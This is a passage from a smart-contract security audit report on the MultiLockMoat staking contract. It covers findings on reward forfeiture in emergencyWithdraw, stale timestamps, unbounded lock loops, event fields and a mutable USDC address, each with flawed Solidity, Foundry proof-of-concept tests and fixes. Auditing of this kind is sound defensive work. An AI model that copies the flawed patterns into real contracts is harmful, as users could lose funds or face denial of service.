3. **Unexpected Behavior**: Users expect `emergencyWithdraw` to be a comprehensive exit that returns everything owed, not realizing it silently forfeits rewards.

4. **Emergency Stress**: Users calling this function are already in a stressful emergency situation and unlikely to notice they're forfeiting rewards until after the transaction completes.

Example scenario:

- User has 10,000 reward tokens pending
- Emergency unlock is enabled
- User calls `emergencyWithdraw()` to exit quickly
- User receives staked principal back
- User permanently loses 10,000 reward tokens

Source:

- **Contract**: `MultiLockMoat.sol`
- **Function**: `emergencyWithdraw()` (Lines 610-642)
- **Comparison**: All other exit functions (`unstake`, `exitLock`, `earlyExitLock`) call `_harvestAllRewards()`

Code:

```
function emergencyWithdraw() external nonReentrant {
    require(emergencyUnlockEnabled, "Emergency unlock not enabled");
    UserInfo storage user = userInfo[msg.sender];

    // Calculate total withdrawable amount
    uint256 totalLockedAmount = 0;
    for (uint256 i = 0; i < user.locks.length; i++) {
        if (user.locks[i].active) {
            totalLockedAmount += user.locks[i].amount;
        }
    }

    uint256 totalAmount = user.stakedAmount + totalLockedAmount;
    require(totalAmount > 0, "Nothing to withdraw");

    // MISSING: _harvestAllRewards(msg.sender);

    // Update global state
    totalStaked -= user.stakedAmount;
    totalLocked -= totalLockedAmount;
    totalPoints -= (user.stakingPoints + user.burnPoints);

    for (uint256 i = 0; i < user.locks.length; i++) {
        if (user.locks[i].active) {
            totalPoints -= user.locks[i].points;
        }
    }

    // Deletes all user data including rewardDebt without claiming rewards
    delete userInfo[msg.sender];

    stakingToken.safeTransfer(msg.sender, totalAmount);
    _removeActiveUser(msg.sender);
}

// Compare with normal unstake - properly harvests first
function unstake(uint256 _amount) external {
    UserInfo storage user = userInfo[msg.sender];
    updatePool();

    // Properly harvests rewards before proceeding
    _harvestAllRewards(msg.sender);

    // ... rest of unstake logic ...
}
```

Proof of Concept:

```
function testEmergencyWithdrawLosesPendingRewards() public {
    // User stakes tokens
    vm.startPrank(user);
    stakingToken.approve(address(moat), 1000e18);
    moat.stake(1000e18);
    vm.stopPrank();

    // Admin deposits rewards
    vm.startPrank(admin);
    rewardToken.approve(address(moat), 10000e18);
    moat.depositRewards(address(rewardToken), 10000e18);
    vm.stopPrank();

    // Verify user has pending rewards
    uint256 pendingBefore = moat.pendingRewards(user, address(rewardToken));
    console.log("Pending rewards before emergency:", pendingBefore);
    assertGt(pendingBefore, 0); // User has accumulated rewards

    // Admin enables emergency unlock
    vm.prank(admin);
    moat.enableEmergencyUnlock();

    // User performs emergency withdraw
    uint256 rewardBalanceBefore = rewardToken.balanceOf(user);

    vm.prank(user);
    moat.emergencyWithdraw();

    uint256 rewardBalanceAfter = rewardToken.balanceOf(user);
    uint256 rewardsClaimed = rewardBalanceAfter - rewardBalanceBefore;

    // User received 0 rewards despite having pending rewards
    console.log("Rewards claimed:", rewardsClaimed);
    console.log("Rewards lost:", pendingBefore);

    assertEq(rewardsClaimed, 0);

    // Rewards remain stranded in contract
    uint256 poolBalance = rewardToken.balanceOf(address(moat));
    assertGt(poolBalance, 0);
}
```

Remediation:

Call `_harvestAllRewards()` before deleting user data to ensure users receive all owed rewards:

```
function emergencyWithdraw() external nonReentrant {
    require(emergencyUnlockEnabled, "Emergency unlock not enabled");
    UserInfo storage user = userInfo[msg.sender];

    // Calculate total withdrawable amount
    uint256 totalLockedAmount = 0;
    for (uint256 i = 0; i < user.locks.length; i++) {
        if (user.locks[i].active) {
            totalLockedAmount += user.locks[i].amount;
        }
    }

    uint256 totalAmount = user.stakedAmount + totalLockedAmount;
    require(totalAmount > 0, "Nothing to withdraw");

    // FIXED: Harvest all pending rewards before deletion
    _harvestAllRewards(msg.sender);

    // Update global state
    totalStaked -= user.stakedAmount;
    totalLocked -= totalLockedAmount;
    totalPoints -= (user.stakingPoints + user.burnPoints);

    for (uint256 i = 0; i < user.locks.length; i++) {
        if (user.locks[i].active) {
            totalPoints -= user.locks[i].points;
        }
    }

    delete userInfo[msg.sender];
    stakingToken.safeTransfer(msg.sender, totalAmount);
    _removeActiveUser(msg.sender);
}
```

Finding 16: Lock Exit Functions Do Not Update lastUpdated Timestamp

Severity: ❗ Low

Status: Resolved

Description:

When users exit their locks (either after maturity via `exitLock()` or before maturity via `earlyExitLock()`), both functions update the lock's critical state fields (`active`, `amount`, `points`) but fail to update the `lastUpdated` timestamp field. This creates inconsistent state data where a lock shows as inactive but retains the timestamp from when it was last active (potentially 730 days ago).

While this doesn't cause functional issues or financial losses, it creates misleading data that affects analytics dashboards, user interfaces, and off-chain indexing systems. The `lastUpdated` field exists specifically to track when a lock was last modified, so failing to update it on the most significant modification (exit) defeats its purpose.

Impact:

1. **Inconsistent State Data**: A lock record shows `active = false` (closed) but `lastUpdated = <730 days ago >`, suggesting it hasn't been touched in 2 years when it was actually closed today.

2. **Misleading Analytics**: Off-chain analytics platforms and dashboards may display:

   - "Lock last modified 730 days ago" when it was exited today
   - Incorrect activity timelines for users
   - Stale data in user activity reports

3. **UI/UX Confusion**: User interfaces relying on `lastUpdated` for displaying lock history will show incorrect "last activity" timestamps, potentially confusing users about their transaction history.

4. **Data Integrity**: While not financially impactful, maintaining accurate timestamps is important for:

   - Audit trails
   - Debugging user issues
   - Analytics and reporting
   - Compliance and record-keeping

Source:

- Contract: `MultiLockMoat.sol`
- Functions:
  - `exitLock()` (Line 415)
  - `earlyExitLock()` (Line 458)
- Struct: `Lock` (Lines 15-22)

Code:

```
struct Lock {
    uint256 amount;
    uint256 end;
    uint256 points;
    uint256 originalDuration;
    uint256 lastUpdated;  // Timestamp of last modification
    bool active;
}

function exitLock(uint256 _lockIndex) external whenNotPaused nonReentrant {
    // ... validation and fee calculation ...

    Lock storage lockData = user.locks[_lockIndex];

    // Updates these fields
    lockData.active = false;
    lockData.amount = 0;
    lockData.points = 0;

    // MISSING: lockData.lastUpdated = block.timestamp;
    // Lock shows as inactive but timestamp is stale

    user.activeLockCount--;

    // ... transfer tokens ...
}

function earlyExitLock(uint256 _lockIndex) external whenEarlyExitEnabled whenNotPaused nonReentrant {
    // ... validation and fee calculation ...

    Lock storage lockData = user.locks[_lockIndex];

    // Updates these fields
    lockData.active = false;
    lockData.amount = 0;
    lockData.points = 0;

    // MISSING: lockData.lastUpdated = block.timestamp;
    // Same issue as exitLock

    user.activeLockCount--;

    // ... transfer tokens ...
}

// Compare with lock creation - properly sets lastUpdated
function lock(uint256 _amount, uint256 _duration) external {
    // ...
    Lock memory newLock = Lock({
        amount: _amount,
        end: block.timestamp + _duration,
        points: points,
        originalDuration: _duration,
        lastUpdated: block.timestamp,  // Correctly set on creation
        active: true
    });

    user.locks.push(newLock);
}
```

Proof of Concept:

```
function testLastUpdatedNotUpdatedOnExit() public {
    // User creates a lock
    vm.startPrank(user);
    stakingToken.approve(address(moat), 1000e18);
    moat.lock(1000e18, 30 days);
    vm.stopPrank();

    // Get initial lastUpdated timestamp
    (, , , , uint256 lastUpdated1, bool active1) = moat.getUserLock(user, 0);
    console.log("After lock creation:");
    console.log("  lastUpdated:", lastUpdated1);
    console.log("  active:", active1);

    // Time passes - lock expires
    vm.warp(block.timestamp + 31 days);

    // User exits the lock
    vm.prank(user);
    moat.exitLock(0);

    // Get lastUpdated after exit
    (, , , , uint256 lastUpdated2, bool active2) = moat.getUserLock(user, 0);
    console.log("\nAfter lock exit:");
    console.log("  lastUpdated:", lastUpdated2);
    console.log("  active:", active2);

    // ISSUE: Timestamps are identical despite major state change
    assertEq(lastUpdated1, lastUpdated2);
    assertFalse(active2); // Lock is inactive

    // This creates inconsistent state:
    // - active = false (lock is closed)
    // - lastUpdated = 31 days ago (when lock was created)
    // Correct behavior: lastUpdated should be current timestamp (when exited)

    console.log("\n=== Issue Demonstrated ===");
    console.log("Lock is inactive but lastUpdated shows old timestamp");
    console.log("Time since lastUpdated:", (block.timestamp - lastUpdated2) / 1 days, "days");
}
```

Remediation:

Update the `lastUpdated` timestamp when locks are exited:

```
function exitLock(uint256 _lockIndex) external whenNotPaused nonReentrant {
    UserInfo storage user = userInfo[msg.sender];
    require(_lockIndex < user.locks.length, "Invalid lock index");
    require(user.locks[_lockIndex].active, "Lock not active");
    require(user.locks[_lockIndex].amount > 0, "No locked tokens");
    require(block.timestamp >= user.locks[_lockIndex].end, "Lock period not ended");

    updatePool();
    _harvestAllRewards(msg.sender);

    Lock storage lockData = user.locks[_lockIndex];
    uint256 lockAmount = lockData.amount;
    uint256 feeAmount = (lockAmount * unstakeFee) / 10000;
    uint256 amountAfterFee = lockAmount - feeAmount;

    totalLocked -= lockAmount;
    totalPoints -= lockData.points;

    // Deactivate the lock
    lockData.active = false;
    lockData.amount = 0;
    lockData.points = 0;

    // FIXED: Update timestamp to reflect exit time
    lockData.lastUpdated = block.timestamp;

    user.activeLockCount--;

    _updateAllRewardDebts(msg.sender);

    if (feeAmount > 0) {
        stakingToken.safeTransfer(feeCollector, feeAmount);
    }
    stakingToken.safeTransfer(msg.sender, amountAfterFee);

    _removeActiveUser(msg.sender);
    emit LockExited(msg.sender, amountAfterFee, _lockIndex);
}

function earlyExitLock(uint256 _lockIndex) external whenEarlyExitEnabled whenNotPaused nonReentrant {
    // ... existing validation and calculations ...

    Lock storage lockData = user.locks[_lockIndex];
    uint256 amountToReturn = lockData.amount;

    totalPoints -= lockData.points;
    totalLocked -= lockData.amount;

    // Deactivate the lock
    lockData.active = false;
    lockData.amount = 0;
    lockData.points = 0;

    // FIXED: Update timestamp to reflect early exit time
    lockData.lastUpdated = block.timestamp;

    user.activeLockCount--;

    // ... rest of function ...
}
```

Finding 17: Unbounded locks can bloat loops

Severity: ● Low

Status: Acknowledged

Description:

Users can create an unbounded number of locks. Several functions iterate over the full `locks` array (`getCurrentPoints`, `emergencyWithdraw`, lock views). A user can create many tiny locks, making any operation that touches all locks intractable due to gas limits. This primarily DoS's that user's own flows, but can also affect shared state via `emergencyWithdraw`.

Impact:

A DoS for user can happen due to large array induced out of gas error.

Source:

- `MoatV3/multilock.moat.sol:301-345` (`lock`)
- `MoatV3/multilock.moat.sol:567-585` (`getCurrentPoints`)
- `MoatV3/multilock.moat.sol:619-647` (`emergencyWithdraw`)
- `MoatV3/multilock.moat.sol:737-767` (`getUserAllLocks`)

Remediation:

- Impose a maximum number of locks per user.
- Provide a "merge locks" function to consolidate positions.
- Document gas risks and encourage frontends to limit lock creation.

Finding 18: LockExited event omits fee component

Severity: ● Info

Status: Acknowledged

Description:

The `LockExited` event emits only the post-fee amount, whereas `EarlyExit` emits amount and fee separately. This prevents off-chain indexers or analytics from accurately reconstructing the original lock amount and fee paid from the event log alone for normal exits.

Impact:

Inconsistent event emission which may result in confusing off-chain reading errors.

Source:

- `MoatV3/multilock.moat.sol:101-102` (event definition)
- `MoatV3/multilock.moat.sol:405-437` (`exitLock`)

Remediation:

- Extend `LockExited` to include fee and/or original lock amount; or
- Add a new event (e.g., `LockExitFee`) if backward compatibility is important.

Finding 19: USDC Token Address Should Be Immutable

Severity: ● Info

Status: Resolved

Description:

The `usdcToken` state variable stores the address of the USDC token contract, which is a well-known, canonical, and immutable address on each blockchain network. However, the current implementation makes this a mutable state variable and provides a `setUsdcToken()` setter function, which is unnecessary and creates several issues.

USDC token addresses are fixed constants per network and should never change:

- Ethereum Mainnet: `0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48`
- Polygon: `0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174`
- Arbitrum: `0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8`
- BSC: `0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d`

The ability to change this address post-deployment adds unnecessary complexity, wastes gas, and opens the door for configuration errors.

Impact:

1. **Gas Inefficiency**: Every read of `usdcToken` costs 2100 gas (SLOAD of mutable storage) instead of ~200 gas for constants or immutables. Over many deployments, this wastes significant gas.
2. **Potential Misconfiguration**: The owner could accidentally call `setUsdcToken()` with an incorrect address (typo, wrong network's USDC, malicious token), causing:
   - Deployment fees to be sent to wrong token contract
   - Failed deployments if the token doesn't exist
   - Users unable to deploy due to failed fee transfers
3. **Unclear Code Intent**: Using a mutable variable suggests the USDC address might legitimately need to change, which is incorrect. Using `immutable` or `constant` clearly communicates "this value is fixed."
4. **Unnecessary Complexity**: The `setUsdcToken()` function adds code that serves no legitimate purpose and increases the attack surface for owner errors.

Source:

- **Contract**: `MultiLockMoatFactory.sol`
- **State Variable**: `usdcToken` (Line 14)
- **Function**: `setUsdcToken()` (Lines 129-133)
- **Usage**: `createMultiLockMoat()` deployment fee collection

Code:

```
contract MultiLockMoatFactory is Ownable {
    address public moatImplementation;
    address public adminWallet;

    // Mutable state variable - wastes gas on every read
    address public usdcToken;

    address[] public moatContracts;

    constructor(address _adminWallet, address _usdcToken) {
        require(_adminWallet != address(0), "Invalid admin wallet");
        require(_usdcToken != address(0), "Invalid USDC token");

        adminWallet = _adminWallet;
        usdcToken = _usdcToken;  // Set in constructor
    }

    // Unnecessary setter - USDC address should never change
    function setUsdcToken(address _usdcToken) external onlyOwner {
        require(_usdcToken != address(0), "Invalid USDC token");
        usdcToken = _usdcToken;
        // Allows owner to point to different token, potentially causing issues
    }

    // Function that uses usdcToken
    function createMultiLockMoat(
        address _stakingToken,
        address _feeCollector
    ) external onlyOwner returns (address) {
        // ...

        // Collect deployment fee in USDC
        IERC20(usdcToken).safeTransferFrom(msg.sender, address(this), deploymentFee);

        // Reading usdcToken costs 2100 gas (SLOAD)
        // With immutable/constant: would cost ~200 gas

        // ...
    }
}
```

Proof of Concept:

```
// This is a code quality issue, not an exploitable vulnerability
// PoC demonstrates the gas waste and potential for error

function testUsdcTokenShouldBeImmutable() public {
    // Current implementation allows changing USDC address
    address originalUsdc = factory.usdcToken();
    console.log("Original USDC:", originalUsdc);

    // Owner can change it (shouldn't be possible)
    address fakeUsdc = address(0x999);
```

```
        vm.prank(owner);
        factory.setUsdcToken(fakeUsdc);

        address newUsdc = factory.usdcToken();
        console.log("New USDC:", newUsdc);

        // USDC address was changed (should be impossible)
        assertEq(newUsdc, fakeUsdc);
        assertNotEq(originalUsdc, newUsdc);

        // This could cause issues:
        // - Deployment fees sent to wrong token
        // - Failed transfers if fake token doesn't exist
        // - User confusion

        console.log("\n=== Issue ===");
        console.log("USDC address should be immutable but can be changed");
        console.log("This wastes gas and allows configuration errors");
    }

    function testGasComparison() public {
        // Measure gas for reading mutable storage
        uint256 gasBefore = gasleft();
        address usdc1 = factory.usdcToken(); // SLOAD = ~2100 gas
        uint256 gasUsed = gasBefore - gasleft();

        console.log("Gas for reading mutable usdcToken:", gasUsed);
        console.log("Gas for reading immutable: ~200 gas");
        console.log("Gas wasted per read: ~1900 gas");

        // Over 100 deployments, this wastes 190,000 gas unnecessarily
    }
```

Remediation:

Use `immutable` for multi-network support, or `constant` for single-network deployments:

```
contract MultiLockMoatFactory is Ownable {
    address public moatImplementation;
    address public adminWallet;

    // OPTION 1: Immutable (recommended for multi-network)
    // Set once in constructor, cannot be changed thereafter
    address public immutable USDC_TOKEN;

    address[] public moatContracts;

    constructor(address _adminWallet, address _usdcToken) {
        require(_adminWallet != address(0), "Invalid admin wallet");
        require(_usdcToken != address(0), "Invalid USDC token");

        adminWallet = _adminWallet;
        USDC_TOKEN = _usdcToken;  // Set once, immutable
        // Saves ~20,000 gas on deployment vs mutable
    }

    // OPTION 2: Constant (for single network like Ethereum)
    // address public constant USDC_TOKEN = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
    // Most gas-efficient, but requires different code per network

    // Remove setUsdcToken() function entirely
    // function setUsdcToken(...) - REMOVED

    function createMultiLockMoat(
        address _stakingToken,
        address _feeCollector
    ) external onlyOwner returns (address) {
        // ...

        // Reading USDC_TOKEN now costs ~200 gas instead of 2100
        IERC20(USDC_TOKEN).safeTransferFrom(msg.sender, address(this), deploymentFee);

        // ...
    }
}

// Alternative: Chain-specific constant selection
contract MultiLockMoatFactory is Ownable {
    address public immutable USDC_TOKEN;

    constructor(address _adminWallet) {
        require(_adminWallet != address(0), "Invalid admin wallet");
        adminWallet = _adminWallet;

        // Auto-select USDC based on chain
        if (block.chainid == 1) {
            USDC_TOKEN = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; // Ethereum
        } else if (block.chainid == 137) {
            USDC_TOKEN = 0x2791Bca1f2de4661ED88A30C99A7a9449Aa84174; // Polygon
        } else if (block.chainid == 42161) {
            USDC_TOKEN = 0xFF970A61A04b1cA14834A43f5dE4533eBDDB5CC8; // Arbitrum
        } else {
            revert("Unsupported chain");
        }
    }
}
```

Disclaimer

SPECT TO THE SERVICES, TESTING REPORT, OR OTHER MATERIALS. WITHOUT LIMITING THE FOREGOING, FAILSAFE SPECIFICALLY DISCLAIMS ALL IMPLIED WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, TITLE AND NON-INFRINGEMENT, AND ALL WARRANTIES ARISING FROM COURSE OF DEALING, USAGE, OR TRADE PRACTICE. WITHOUT LIMITING THE FOREGOING, FAILSAFE MAKES NO WARRANTY OF ANY KIND THAT THE SERVICES, THE LABELS, THE TESTING REPORT, WORK PRODUCT, OR OTHER MATERIALS, OR ANY PRODUCTS OR RESULTS OF THE USE THEREOF, WILL MEET CUSTOMER'S OR ANY OTHER PERSON'S REQUIREMENTS, ACHIEVE ANY INTENDED RESULT, BE COMPATIBLE OR WORK WITH ANY SOFTWARE, SYSTEM, OR OTHER SERVICES, OR BE SECURE, ACCURATE, COMPLETE, FREE OF HARMFUL CODE, OR ERROR-FREE.

WITHOUT LIMITATION TO THE FOREGOING, FAILSAFE PROVIDES NO WARRANTY OR DISCLAIMER UNDERTAKING, AND MAKES NO REPRESENTATION OF ANY KIND THAT THE SERVICE WILL MEET CUSTOMER'S REQUIREMENTS, ACHIEVE ANY INTENDED RESULTS, BE COMPATIBLE OR WORK WITH ANY OTHER SOFTWARE, APPLICATIONS, SYSTEMS OR SERVICES, OPERATE WITHOUT INTERRUPTION, MEET ANY PERFORMANCE OR RELIABILITY STANDARDS OR BE ERROR FREE OR THAT ANY ERRORS OR DEFECTS CAN OR WILL BE CORRECTED.

WITHOUT LIMITING THE FOREGOING, NEITHER FAILSAFE NOR ANY OF FAILSAFE'S AGENTS MAKES ANY REPRESENTATION OR WARRANTY OF ANY KIND, EXPRESS OR IMPLIED AS TO THE ACCURACY, RELIABILITY, OR CURRENCY OF ANY INFORMATION OR CONTENT PROVIDED THROUGH THE SERVICE. FAILSAFE WILL ASSUME NO LIABILITY OR RESPONSIBILITY FOR (I) ANY ERRORS, MISTAKES, OR INACCURACIES OF CONTENT AND MATERIALS OR FOR ANY LOSS OR DAMAGE OF ANY KIND INCURRED AS A RESULT OF THE USE OF ANY CONTENT, OR (II) ANY PERSONAL INJURY OR PROPERTY DAMAGE, OF ANY NATURE WHATSOEVER, RESULTING FROM CUSTOMER'S ACCESS TO OR USE OF THE SERVICES, TESTING REPORT, OR OTHER MATERIALS.

ALL THIRD-PARTY MATERIALS ARE PROVIDED “AS IS” AND ANY REPRESENTATION OR WARRANTY OF OR CONCERNING ANY THIRD-PARTY MATERIALS IS STRICTLY BETWEEN CUSTOMER AND THE THIRD-PARTY OWNER OR DISTRIBUTOR OF THE THIRD-PARTY MATERIALS.

THE SERVICES, TESTING REPORT, AND ANY OTHER MATERIALS HEREUNDER ARE SOLELY PROVIDED TO CUSTOMER AND MAY NOT BE RELIED ON BY ANY OTHER PERSON OR FOR ANY PURPOSE NOT SPECIFICALLY IDENTIFIED IN THIS AGREEMENT, NOR MAY COPIES BE DELIVERED TO ANY OTHER PERSON WITHOUT FAILSAFE'S PRIOR WRITTEN CONSENT IN EACH INSTANCE.

NO THIRD PARTY OR ANYONE ACTING ON BEHALF OF ANY THEREOF, SHALL BE A THIRD PARTY OR OTHER BENEFICIARY OF SUCH SERVICES, TESTING REPORT, AND ANY ACCOMPANYING MATERIALS AND NO SUCH THIRD PARTY SHALL HAVE ANY RIGHTS OF CONTRIBUTION AGAINST FAILSAFE WITH RESPECT TO SUCH SERVICES, TESTING REPORT, AND ANY ACCOMPANYING MATERIALS.

THE REPRESENTATIONS AND WARRANTIES OF FAILSAFE CONTAINED IN THIS AGREEMENT ARE SOLELY FOR THE BENEFIT OF CUSTOMER. ACCORDINGLY, NO THIRD PARTY OR ANYONE ACTING ON BEHALF OF ANY THEREOF, SHALL BE A THIRD PARTY OR OTHER BENEFICIARY OF SUCH REPRESENTATIONS AND WARRANTIES AND NO SUCH THIRD PARTY SHALL HAVE ANY RIGHTS OF CONTRIBUTION AGAINST FAILSAFE WITH RESPECT TO SUCH REPRESENTATIONS OR WARRANTIES OR ANY MATTER SUBJECT TO OR RESULTING IN INDEMNIFICATION UNDER THIS AGREEMENT OR OTHERWISE.

FOR AVOIDANCE OF DOUBT, THE SERVICES, INCLUDING ANY ASSOCIATED TESTING REPORTS OR MATERIALS, SHALL NOT BE CONSIDERED OR RELIED UPON AS ANY FORM OF FINANCIAL, TAX, LEGAL, REGULATORY, OR OTHER ADVICE.